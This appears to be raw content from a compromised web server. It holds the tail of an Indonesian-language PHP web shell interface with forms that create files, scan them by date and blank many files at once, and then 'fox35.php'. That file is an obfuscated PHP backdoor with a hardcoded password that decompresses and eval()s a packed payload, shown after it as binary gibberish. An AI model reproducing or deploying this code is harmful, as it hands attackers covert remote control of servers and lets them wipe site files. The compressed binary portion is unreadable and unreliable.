<h2>Mass File Operations</h2>
<fieldset>
<legend><b>Buat Folder & File Baru</b></legend>
<form method="POST">
<input type="hidden" name="action" value="create">
<label>Base Path (contoh: /home/user1)</label>
<input type="text" name="base_path" required value="<?php echo htmlspecialchars($systemInfo['working_dir']); ?>">
<label>Nama Folder Baru (opsional)</label>
<input type="text" name="folder_name">
<label>Nama File (opsional)</label>
<input type="text" name="file_name">
<label>Isi File</label>
<textarea name="file_content" rows="6"></textarea>
<button type="submit">Jalankan</button>
</form>
</fieldset>
<fieldset>
<legend><b>Scan File</b></legend>
<form method="POST">
<input type="hidden" name="action" value="scan">
<label>Base Path (contoh: /home/user1)</label>
<input type="text" name="base_path" required value="<?php echo htmlspecialchars($systemInfo['working_dir']); ?>">
<label>Ekstensi File (contoh: php, html, txt)</label>
<input type="text" name="file_ext" required>
<label>Scan mulai tanggal (format: yyyy-mm-dd)</label>
<input type="date" name="date_from" required>
<button type="submit">Scan File</button>
</form>
</fieldset>
<?php if(isset($_SESSION['scan_base'])): ?>
<fieldset>
<legend><b>Mass Blank File</b></legend>
<form method="POST" id="blankForm">
<input type="hidden" name="action" value="blank">
<button type="submit">Kosongkan Semua File Ini</button>
</form>
<script>
document.getElementById('blankForm').onsubmit = function() {
return confirm("Apakah Anda yakin ingin mengosongkan file ini?\nTindakan ini tidak bisa di-undo.");
};
</script>
</fieldset>
<?php endif; ?>
<!-- Results Display -->
<?php if (!empty($results)): ?>
<fieldset>
<legend><b>Hasil Operasi</b></legend>
<div>
<?php foreach ($results as $r) { echo $r . "<br>"; } ?>
</div>
</fieldset>
<?php endif; ?>
</div>
</div>
<footer>
<p>System Manager - Complete Toolkit © <?php echo date('Y'); ?></p>
</footer>
</div>
<script>
function switchTab(tabName) {
// Hide all tab contents
document.querySelectorAll('.tab-content').forEach(tab => {
tab.classList.remove('active');
});
// Remove active class from all tabs
document.querySelectorAll('.tab').forEach(tab => {
tab.classList.remove('active');
});
// Show selected tab content
document.getElementById(tabName).classList.add('active');
// Add active class to clicked tab
event.currentTarget.classList.add('active');
}
</script>
</body>
</html>PK T0a[mP��� �� fox35.phpnu �[��� <?php
$passhash = 'b8ed284b7a7e13878b03b49e687e11bc';
$userSh = 'Hadii6666h0$T';
$d = substr(file_get_contents( __FILE__ ), -184443);
$d = str_replace('awzhdygnbq', "<", $d);
$d = str_replace('projyvszwd', ">", $d);
$g = 'g'.'z'.'un'.'compr'.'e'.'ss';
eval($g($d));
exit;
?>
x�����&^g��DD3P�7q*.��M��{'2����g��,�oh-��)�ߌ��H��4���*�1ۛi�ů��_��.~pڌ�����?�����?���_��e�����G��?����Ӿ��G��ב�=�?���������#W��ſ�S���������ퟒ?�c;ҷ��l����7�_���~�ub��:'Y�/�]������}��?g�v��Ͽ����o��CE������������ڳ�����Ŀ�s���?��jڧ?�U���a\�:�����%m�_��㢯���?�~�be��?�(����4�'�ׅ���Zk���7���?:~g��TO3�}�����%��8��g��mJ�J�����K���������_'���믝�m_���sVc���1��q����2,
.��_����awzhdygnbq)M�G�G^dS^��������#4�_�}J�+4�}���ڼ
���y�����_�q��ʻF DH��������o�o����� ����V�q��k�_k�W����r~�k�g\�k������
'���܇���w��̿����2�%
���������_���'PD�o��Vg�b�{)f�;Ϳ.��?���䚐��_��?���E����c�ϹiP-�Y�,����_���_GL�������߳����� ��o5��8�gN�g�}��kPo�2���O�=�VD���~��}4o8qZy�w�`�q�s������_]�_� ���?��M��υ��l�����?�G����j�B ���Y+������ߋ�o�̿�Q�I�/����,��g�����w.)��}O���A?�H���c�T��O)�}��i��Po]�ff��f(��� C�ޞD��JB�[�߿���q��j�_6H1�.�q��k����B ��ʓ�%[S︌HnIa�Q�8Y����2]�\e�nL%�~�v�;]�Uprojyvszwd��projyvszwd�T�6�&Jk�,9$���z�}p�Rc�X�h���^�n�!{r0��Hawzhdygnbq�_ן����{`�n�o��A~�V��u$����i�ъ%�K�d4��&�^R�ܨ��/�z`w�V�W����8�[o��fX��\+�'�v���#��L��wXG"�m=�}J7�j�[���ݭlo�~��projyvszwd�c��gY;�!�-(�ř�xDo��2�/��TDL�$��ziv�t���R���3�R�/��k.sVm͗�F9projyvszwda(�XO�M~�pB�1�����%Lm��fn
awzhdygnbq(LC'�J�(t&�ڌf��15�l̘�DY6���h���projyvszwdސ�;`�M|ݷ��a��{�J�e���$тѤʞ�VK�w9A�;�J,Q��P�=�Y�$y�b=K�7G-)i�i]c��9v����݅݇�4W�uڔi��r��L2��$t���a
g��Z�/BX��o^������,�DmdA�ԯB���]A"�awzhdygnbq?��ʚ�N�awzhdygnbql
ii�!�d�Dprojyvszwd3�
^z�ҟ�4j������ł�4"f"�}ѥ5z�
��΄�N�Ź�1aŝ?U�w�c� ]����mS�i�z�wn~�k2���qŠ [{Ӯ�E�B����Ѹ-���r��i�2��'p��K�V"qͼ�D�=ٻ����o�Ue�`�\Q�2^��NZ�"�8$b+�7��~����iY���awzhdygnbq���t���C��ַ�F����-m��}�Co�� �P�8b�V՚��r����MD�`��X[�ܨ͢�Z���Շ�y�( �Z��u��� �"P��!dș�#b?�y��1���Nn2projyvszwdʭ�%*f�?N�¸��ί�dڣw���y��lx�B�v���UHZ�
?Gf�/8��=���58���g��*,�O�s
Юv�gw=h!�i}�]6���f���projyvszwdgUb|��T6�Iawzhdygnbq7B��A-�eI����?0��G�ƴT�z��&(�k�]���x�ƼINQ��ٯ����s6��projyvszwd��H�/=awzhdygnbq��5awzhdygnbq�^-��q�� *Hcq���a#�;I�~�b_aׁ���sS�ſ�Sq�t�e�́X�mX�x�F3s� ��A����?"��\���A������9�]Hq��}v���(&j��w� n�S_����L��Y�.�B�%H�.�!5projyvszwd��S,�������ZƼ��GB�{�[�1k�K��YE���Q���:��і8���7�6�&�l
}�e�`�R�����}���9O���$���tk����UZ��/ �oBF����~(ڵ������ZC���'����A����G��ƿ��XB;�8
awzhdygnbq|y��( ��٠ �Fda .P��O���J��.�v�t�\�,\���n�
*�T�2�xN�u�N��n��T��0&�h}#��s˰9��ED-�����2o@��"�!�QT-IJ�D"�Wf�mצ�&�g^1�n�
%���H� �=��Aw���Ɋ2��,����"���G���~xM
F�,�
�.1�Rc�q.�?kD.�T�� �
&7Q��W�;��B� KY���y�*UR?����c��+���~t*����a�,�FQ7oi�V�r�ESfn+��'q�����%�F�]S~{���F�'x�hvR�uFI/l�ī�/E� r8U�)ZZ��)w��i�����.�h_��Z�����c����P348����18�����ֶ�%��.�`��|nX�=��Xަ�]�����bm��h���D [��V)E�@P,��NP�(.��&�2��P�ˇNO
v�W��m"y��t��a�O�]
@gzZک
���x÷
U��7������TMD�projyvszwd�~�5�awzhdygnbq�#�d��_�8���
N�&x�"Ui1���"�a_k.�-��˂�ᢓ� w%�F����l(��02B�i9��")e�O��,���������%Hz)�۱i�hɵ�ֿ��Sˀ]���~���c�P���@x�0� ˗awzhdygnbqe "yّT�=
�nRPLv7projyvszwdc�i���A�ʲGr�`���projyvszwd�,m%E(��q6���ĥ��|��
u���\�/��B��s�.v����ߩ���W#���(!�n��+��1�hQ�A�_�F�����c`K9=��e@�}�:Kv����T�l�"Ѷ$dƄ�$�ܤ9}�S�$� \h����C�z��{l;i
�D�����'